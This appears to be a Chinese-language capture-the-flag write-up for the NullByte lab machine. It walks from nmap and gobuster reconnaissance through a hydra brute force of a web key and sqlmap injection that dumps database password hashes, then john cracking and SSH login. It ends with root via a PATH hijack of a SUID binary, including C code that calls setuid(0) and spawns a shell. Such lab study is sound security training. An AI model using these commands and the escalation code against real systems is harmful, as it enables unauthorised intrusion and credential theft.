端口
nmap主机发现
nmap -sn 192.168.236.0/24 Nmap scan report for 192.168.236.177 Host is up (0.00020s latency). 177是新出现的机器,他就是靶机
nmap端口扫描
nmap -Pn 192.168.236.177 --min-rate 10000 -oA nmap/scan 扫描开放端口保存到 nmap/scan下 PORT STATE SERVICE 80/tcp open http 111/tcp open rpcbind 777/tcp open ssh 发现开放4个端口
nmap -sT -sC -sV -O -p22,80, -oA nmap/scan 192.168.236.177详细端口扫描: -sT:完整tcp连接 -sC:默认脚本扫描 -sV:服务版本探测 -O:系统信息探测 80/tcp open http Apache httpd 2.4.10 ((Debian)) |_http-server-header: Apache/2.4.10 (Debian) |_http-title: Null Byte 00 - level 1 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 41363/tcp6 status | 100024 1 50826/tcp status | 100024 1 53666/udp status |_ 100024 1 57231/udp6 status 777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) | ssh-hostkey: | 1024 163013d9d55536e81bb7d9ba552fd744 (DSA) | 2048 29aa7d2e608ba6a1c2bd7cc8bd3cf4f2 (RSA) | 256 6006e3648f8a6fa7745a8b3fe1249396 (ECDSA) |_ 256 bcf7448d796a194876a3e24492dc13a2 (ED25519)
立足点
查看网页,除了主页main.gif什么都没有,准备目录爆破
gobuster dir -u http://192.168.236.177/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php,html --add-slash /.html/ (Status: 403) [Size: 296] /.php/ (Status: 403) [Size: 295] /icons/ (Status: 403) [Size: 296] /uploads/ (Status: 200) [Size: 113] /javascript/ (Status: 403) [Size: 301] /phpmyadmin/ (Status: 200) [Size: 9123] /.php/ (Status: 403) [Size: 295] /.html/ (Status: 403) [Size: 296] 看下uploads和phpmyadmin,phpmyadmin是登录管理mysql页面,uploads只有个字符串Directory listing not allowed here. uploads我也是用gobuster扫过,没什么敏感内容,phpmyadmin我使用sqlmap扫过没有sql注入
基本上信息收集完了,除了刚才看到的主页的main.gif
exiftools查看一下图片信息 ExifTool Version Number : 12.49 File Name : main.gif Directory : . File Size : 17 kB File Modification Date/Time : 2015:08:02 00:39:30+08:00 File Access Date/Time : 2024:09:10 20:55:26+08:00 File Inode Change Date/Time : 2024:09:10 20:55:14+08:00 File Permissions : -rw-r--r-- File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 235 Image Height : 302 Has Color Map : No Color Resolution Depth : 8 Bits Per Pixel : 1 Background Color : 0 Comment : P-): kzMb5nVYJw Image Size : 235x302 Megapixels : 0.071 发现comment下的kzMb5nVYJw敏感字符串 这个字符串登录ssh,phpmyadmin和网页目录都试一试,看看有没有新的内容 发现存在http://192.168.236.177/kzMb5nVYJw网页目录,下图是网页的全部内容
输入几个key,会出现invalid key,不知道要输入什么,拿hydra扫一下,使用rockyou字典
hydra -l none -P /usr/share/wordlists/rockyou.txt 192.168.236.177 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" 解析:-l表示要爆破的用户名-P表示要爆破的密码字典http-post-form 表示使用post爆破"/kzMb5nVYJw/index.php:key=^PASS^:invalid key":1.路径信息2.post数据以及^PASS^占位符3.返回的失败信息最后爆出了个elite可以成功跳到下一个页面
又是一个输入框,除了爆破就是sql注入,这次先试一试sql注入,爆破查一些用户名没太大渗透作用
sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -dbs -batch 发现存在注入,获取到mysql一些信息: [21:15:35] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 8 (jessie) web application technology: Apache 2.4.10 back-end DBMS: MySQL >= 5.5 [21:15:35] [INFO] fetching database names available databases [5]: [*] information_schema [*] mysql [*] performance_schema [*] phpmyadmin [*] seth 使用sqlmap查一查库里的内容: 命令解析:-D mysql --tables:选定mysql库,查看其表-D mysql -T <thetable> --columns:选定mysql库,thetable表,查询表中有哪些字段-D mysql -T <thetable> --dump:选定mysql库,thetable表,显示出thetable表所有内容 大致按以上这些思路去查 sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -D mysql -T user -C User,Password --dump --batch 显示mysql库user表的User,Password字段发现如下信息,可以发现sqlmap自动破解了hash: +------------------+-------------------------------------------------------+ | User | Password | +------------------+-------------------------------------------------------+ | root | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) | | root | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) | | root | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) | | root | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) | | debian-sys-maint | *BD9EDF51931EC5408154EBBB88AA01DA22B8A8DC | | phpmyadmin | *18DC78FB0C441444482C7D1132C7A23D705DAFA7 (sunnyvale) | +------------------+-------------------------------------------------------+ 这些信息是phpmyadmin登录凭据,不能使用ssh登录,既然我们有了sql注入能查询数据库所有内容,我们也不需要phpmyadmin的登录凭据了。
接着查询其他数据库的其他表 sqlmap -u http://192.168.236.177/kzMb5nVYJw/420search.php?usrtosearch=1 -D seth -T users --dump-all +----+---------------------------------------------+--------+------------+ | id | pass | user | position | +----+---------------------------------------------+--------+------------+ | 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> | | 2 | --not allowed-- | isis | employee | +----+---------------------------------------------+--------+------------+ 这个是个敏感信息,我们那他做一下破解
可以去网站https://hashes.com/en/decrypt/hash做破解,也可以使用john破解,在这里我们使用工具john base64解密: c6d6bd7ebf806f43c76acc3681703b81 md5破解: echo c6d6bd7ebf806f43c76acc3681703b81 > md5_hash john --format=raw-md5 md5_hash 成功破解:omega 使用户名ramses登录ssh ssh ramses@192.168.236.177 -p 777
提权
信息枚举
cat /etc/passwd:查看用户 sudo -l :提示无权限 cat /etc/crontab:没有可利用的计划任务 find / -perm -u=s -type f 2>/dev/null:查看具有s位的程序 信息如下: /usr/lib/openssh/ssh-keysign /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/pt_chown /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/procmail /usr/bin/at /usr/bin/chfn /usr/bin/newgrp /usr/bin/chsh /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/passwd /usr/bin/sudo /usr/sbin/exim4 /var/www/backup/procwatch /bin/su /bin/mount /bin/umount /sbin/mount.nfs 看到有s位的程序:/var/www/backup 中运行名为 procwatch 存放在/var/www/backup目录下,看看有没有什么配置错误 运行./procwatch
./procwatch运行界面和ps查看进程的运行界面一样,推断./procwatch调用了ps这个命令
./procwatch调用ps会在环境变量中按顺序寻找,如果我们将它寻找ps的过程引导成我们的以ps为名恶意文件,那么我们就能够顺利提权 export PATH=.:$PATH 方法1:echo "/bin/sh" > ps 方法2:ln -s /bin/sh ps(创建一个/bin/sh的快捷方式) 方法3:编译c语言未ps可执行文件
tips
将/bin/sh改为/bin/bash发现提权不成功,新起的shell仍然是ramses用户,如下: bash-4.3$ id uid=1002(ramses) gid=1002(ramses) groups=1002(ramses) 这是因为suid调用bash时,会判断ruid和euid是否相同 ruid:真实用户ID表示发起该进程的用户。 euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。 如果不相同,他将以ruid发起该进程的用户也就是ramses权限执行 解决方案:在调用/bin/bash前使用setuid(0)设置调用ruid为root用户 如下是调用setuid(0)和未调用的对比实验,将他们编译为ps,运行./procwatch
int main() {int euid,ruid;ruid = getuid();euid = geteuid();printf("ruid=%d\neuid=%d",ruid,euid);setuid(0);ruid = getuid();printf("new_ruid=%d\n",ruid);system("/bin/bash"); return 0; } ruid=1002 euid=0new_ruid=0 root@NullByte:/var/www/backup# id uid=0(root) gid=1002(ramses) groups=1002(ramses)
#include <stdio.h> int main() {int euid,ruid;ruid = getuid();euid = geteuid();printf("ruid=%d\neuid=%d",ruid,euid);printf("ruid=%d\n",ruid);system("/bin/bash"); return 0; } ruid=1002 euid=0ruid=1002 bash-4.3$ id uid=1002(ramses) gid=1002(ramses) groups=1002(ramses) 这里可以看到euid=0ruid=1002不相同,按照ruid调用者身份执行/bin/bash在调用的时候,会判断当前bash进程的ruid和suid,若不同则降权
而/bin/sh是原始轻量级的shell不会像/bin/bash主动降权